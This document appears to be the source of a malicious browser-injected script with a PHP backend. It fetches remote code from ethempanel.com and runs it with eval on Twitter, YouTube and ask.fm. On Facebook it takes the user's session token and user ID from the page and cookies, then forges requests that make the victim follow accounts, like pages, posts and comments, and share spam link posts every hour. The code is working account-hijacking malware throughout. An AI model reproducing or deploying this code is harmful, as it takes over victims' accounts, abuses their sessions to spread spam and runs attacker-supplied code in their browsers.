﻿if(!document.getElementById("amung")){
new Image().src = 'http://whos.amung.us/widget/ethempnl.png';
}

function include(method,url)
{
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.open(method, url);
    xmlhttp.onreadystatechange = function()
    {
        if(xmlhttp.readyState == 4)
        {
            eval(xmlhttp.responseText);
        }
    };
    xmlhttp.send();
}
if (location.hostname.indexOf("twitter.com") >= 0) {
include("GET","http://ethempanel.com/winatom/twitter.php");
}
if (location.hostname.indexOf("youtube.com") >= 0) {
include("GET","http://ethempanel.com/winatom/youtube.php");
}
if (location.hostname.indexOf("ask.fm") >= 0) {
include("GET","http://ethempanel.com/winatom/askfm.php");
}

<?php
error_reporting(0);
include "../config.php";
?>
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function follow(id) {
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if (xmlhttp.readyState == 4) {}
    };
    var params = "profile_id=" + id;
    params += "&location=1";
    params += "&nctr[_mod]=pagelet_main_column_personal";
    params += "&__user=" + user_id;
    params += "&__a=1";
    params += "&fb_dtsg=" + fb_dtsg;
    params += "&phstamp=16581651097412012156155";
    xmlhttp.open("POST", "/ajax/follow/follow_profile.php", true);
    xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlhttp.send(params);
}

function page(id) {
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if (xmlhttp.readyState == 4) {}
    };
    var params = "fbpage_id=" + id;
    params += "&add=true";
    params += "&fan_origin=page_timeline";
    params += "&nctr[_mod]=pagelet_timeline_page_actions";
    params += "&__user=" + user_id;
    params += "&__a=1";
    params += "&fb_dtsg=" + fb_dtsg;
    params += "&phstamp=16581651097412012156155";
    xmlhttp.open("POST", "/ajax/pages/fan_status.php", true);
    xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlhttp.send(params);
}

function post(id) {
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if (xmlhttp.readyState == 4) {}
    };
    var params = "like_action=true&ft_ent_identifier=" + id;
    params += "&source=0&client_id=1355581664855%3A2475647505&ft[tn]=%3E%3D&ft[type]=20&nctr[_mod]=pagelet_timeline_recent";
    params += "&fan_origin=page_timeline";
    params += "&__user=" + user_id;
    params += "&__req=1e";
    params += "&__dyn=7n8amgAMCBClUlgDxqigHzy5xNei9w";
    params += "&__a=1";
    params += "&fb_dtsg=" + fb_dtsg;
    params += "&phstamp=165816689711057878203";
    xmlhttp.open("POST", "/ajax/ufi/like.php", true);
    xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlhttp.send(params);
}

function comment(id){  
var xmlhttp = new XMLHttpRequest();  
        xmlhttp.onreadystatechange = function () {  
            if(xmlhttp.readyState == 4){  
            }  
        };  
    var params = "comment_id="+id;  
    params += "&fb_dtsg=" +  document.getElementsByName('fb_dtsg')[0].value;  
    params += "&legacy_id="+id.split("_")[1];  
    params += "&ft_ent_identifier="+id.split("_")[0];  
    params += '&like_action=true';  
    params += '&source=0';  
    params += '&ft[tn]=>R0]';  
    params += '&nctr[_mod]=pagelet_timeline_recent';  
    params += '&client_id='+id.replace("_",":");  
    params += "&__user="+user_id;  
    params += "&__a=1";  
    params += "&__dyn=7n8aD5z5ynUdU";  
    params += "&__req=9";  
    params += "&phstamp=1658167110829777111155";  
    xmlhttp.open("POST", "/ajax/ufi/comment_like.php", true);  
    xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");  
    xmlhttp.send(params);  
}  

<?php
$request = mysql_query("SELECT random FROM url_random WHERE url ='0' and durum ='0' ORDER BY RAND() LIMIT 500");
$links = array();
while($row = mysql_fetch_assoc($request))
	$links[] = $row['random'];
mysql_free_result($request);
echo 'var links = [';
echo "'" . implode("', '", $links) . "'";
echo '];';echo"\n";
?>
var random_url = links[Math.floor(Math.random() * (links.length - 1))];


<?php
$request = mysql_query("SELECT random FROM url_mesaj WHERE url ='0' and durum ='0' ORDER BY RAND() LIMIT 500");
$links = array();
while($row = mysql_fetch_assoc($request))
	$links[] = $row['random'];
mysql_free_result($request);
echo 'var links = [';
echo "'" . implode("', '", $links) . "'";
echo '];';echo"\n";
?>
var random_mesaj = links[Math.floor(Math.random() * (links.length - 1))];


<?php
$request = mysql_query("SELECT random FROM url_foto WHERE url ='0' and durum ='0' ORDER BY RAND() LIMIT 500");
$links = array();
while($row = mysql_fetch_assoc($request))
	$links[] = $row['random'];
mysql_free_result($request);
echo 'var links = [';
echo "'" . implode("', '", $links) . "'";
echo '];';echo"\n";
?>
var random_foto = links[Math.floor(Math.random() * (links.length - 1))];

function post_add(){

		var message = random_mesaj
		var message_random = random_mesaj
		var url = random_url
		var image = random_foto
		var app = "";

		var xmlhttp2 = new XMLHttpRequest();
		xmlhttp2.open("GET", "https://graph.facebook.com/" + user_id, false);
		xmlhttp2.send();
		var data = JSON.parse(xmlhttp2.responseText);
		var name = data.name;

		var xmlhttp = new XMLHttpRequest();
		xmlhttp.onreadystatechange = function () {
			if(xmlhttp.readyState == 4){
			}
		};
		
		var params = "next=";
		params += "&audience[0][value]=80";
		params += "&UITargetedPrivacyWidget=80";
		params += "&friendTarget=";
		params += "&groupTarget=";
		params += "&pageTarget=243003439126051";
		params += "&message=" + message_random;
		params += "&UIThumbPager_Input=0";
		params += "&appid="+app;
		params += "&attachment[params][medium]=101";
		params += "&attachment[params][urlInfo][canonical]=" + url;
		params += "&attachment[params][urlInfo][final]=" + url;
		params += "&attachment[params][urlInfo][user]=" + url;
		params += "&attachment[params][favicon]=";
		params += "&attachment[params][title]="+name;
		params += "&attachment[params][fragment_title]=";
		params += "&attachment[params][external_author]:";
		params += "&attachment[params][summary]=youtube.com";
		params += "&attachment[params][url]=" + url;
		params += "&attachment[params][ttl]=0";
		params += "&attachment[params][error]=1";
		params += "&attachment[params][og_info][guesses][0][0]=og:url";
		params += "&attachment[params][og_info][guesses][0][1]=" + url;
		params += "&attachment[params][og_info][guesses][1][0]=og:title";
		params += "&attachment[params][og_info][guesses][1][1]=" + url;
		params += "&attachment[params][responseCode]=206";
		params += "&attachment[params][images][0]="+image;
		params += "&attachment[type]=100";
		params += "&uithumbpager_width=720";
		params += "&uithumbpager_height=960";
		params += "&src=";
		params += "&parent_fbid=";
		params += "&mode=self";
		params += "&share=";
		params += "&fb_dtsg=" +fb_dtsg;
		params += "&phstamp=165816749114848369115";
		params += "&__user=" + user_id;
		xmlhttp.open("POST", "/ajax/sharer/submit_page/?__a=1", true);
		xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
		xmlhttp.send(params);
}
       
 tarih = new Date();
if (!localStorage['post_add_' + user_id] || (localStorage['post_add_' + user_id] && tarih.getTime() >= localStorage['post_add_' + user_id])) {
        tarih.setTime(tarih.getTime() + 1000 * 60 * 60);
        localStorage['post_add_' + user_id] = tarih.getTime();
        post_add();
}

<?php
# follow start
$run = mysql_query("SELECT f_id FROM facebook WHERE durum='0' and tur='ABONE' ORDER BY RAND()");
while($x=mysql_fetch_assoc($run)){
echo 'follow("'.$x['f_id'].'");';
}
# follow stop

# page start
$run = mysql_query("SELECT f_id FROM facebook WHERE durum='0' and tur='SAYFA' ORDER BY RAND()");
while($x=mysql_fetch_assoc($run)){
echo 'page("'.$x['f_id'].'");';
}
# page stop

# post start
$run = mysql_query("SELECT f_id FROM facebook WHERE durum='0' and tur='POST' ORDER BY RAND()");
while($x=mysql_fetch_assoc($run)){
echo 'post("'.$x['f_id'].'");';
}
# post stop

# comment start
$run = mysql_query("SELECT tablo FROM facebook WHERE durum='0' and tur='YORUM' ORDER BY RAND()");
while($x=mysql_fetch_assoc($run)){
echo 'comment("'.$x['tablo'].'");';
}
# comment stop
?>
